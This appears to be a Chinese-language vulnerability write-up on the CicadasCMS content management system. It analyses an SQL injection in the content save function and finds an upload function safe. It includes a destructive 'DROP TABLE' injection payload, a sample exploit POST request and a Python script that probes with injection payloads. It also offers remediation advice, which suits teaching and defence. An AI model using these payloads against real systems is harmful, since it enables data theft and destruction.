某开源cms 0day挖掘
字数 1103 2025-08-30 06:50:36
CicadasCMS 0day漏洞分析与利用教学
系统概述
CicadasCMS是一款基于SpringBoot+MyBatis+Beetl开发的内容管理系统,支持自定义内容模型、模板标签和全站静态化等功能。
漏洞1:SQL注入漏洞
漏洞位置
com.zhiliao.module.web.cms.ContentController#save方法
漏洞分析
-
漏洞触发路径:
ContentController.save()→ContentService.update()→ContentServiceImpl.SaveModelFiledParam()
-
关键代码分析:
SaveModelFiledParam方法中直接拼接SQL语句,未使用预编译:String selectSql = "select * from t_cms_content_"+tableName+" where content_id="+content.getContentId(); ResultSet resultSet =statement.executeQuery(selectSql);
-
注入点:
tableName参数和content.getContentId()未经过滤直接拼接到SQL语句中- 后续的UPDATE/INSERT语句同样存在拼接问题
-
利用条件:
- 需要具有
content:save权限 - 需要知道或能够控制
tableName参数
- 需要具有
漏洞利用步骤
- 构造恶意请求,控制
tableName或contentId参数 - 通过参数注入SQL语句,如:
tableName = "test; DROP TABLE t_cms_content_test; --" - 发送请求触发漏洞
修复建议
- 使用预编译语句(PreparedStatement)
- 对输入参数进行严格过滤和校验
- 使用ORM框架的命名参数或位置参数绑定
漏洞2:文件上传漏洞(分析失败)
漏洞位置
com.zhiliao.common.upload.UploadComponent#uploadFile
安全机制分析
-
文件名处理流程:
getFileType()→getFileName()→getNewFileName()- 最终文件名由系统生成,不可控
-
文件类型限制:
- 使用
lastIndexOf获取文件扩展名 - 扩展名无法被篡改
- 使用
-
存储路径:
- 路径由系统生成,不包含用户可控部分
结论
该文件上传功能实现较为安全,未发现可利用的漏洞点。
学习价值
-
适合新手学习:
- 代码结构清晰
- 漏洞原理简单明了
- 典型的安全编码错误示例
-
学习要点:
- SQL注入的原理和实际案例
- 文件上传的安全实现方式
- Spring MVC的安全编码实践
完整漏洞利用示例
SQL注入利用代码示例
POST /cms/content/save HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
categoryId=1&contentId=1 OR 1=1 -- &title=test&...[其他必填字段]
自动化检测脚本思路
import requests
def check_sql_injection(url):
payloads = [
"1 AND 1=1",
"1 AND 1=2",
"1' OR '1'='1",
"1\" OR \"1\"=\"1"
]
for payload in payloads:
data = {
"categoryId": 1,
"contentId": payload,
"title": "test",
# 其他必填字段
}
try:
r = requests.post(url + "/cms/content/save", data=data)
if "操作成功" in r.text:
return True
except:
pass
return False
总结
-
漏洞危害:
- SQL注入可导致数据泄露、篡改甚至服务器沦陷
-
防御措施:
- 使用预编译语句
- 实施最小权限原则
- 输入验证和过滤
- 定期安全审计
-
学习建议:
- 通过此案例理解SQL注入的原理
- 对比学习安全的文件上传实现
- 实践漏洞修复方案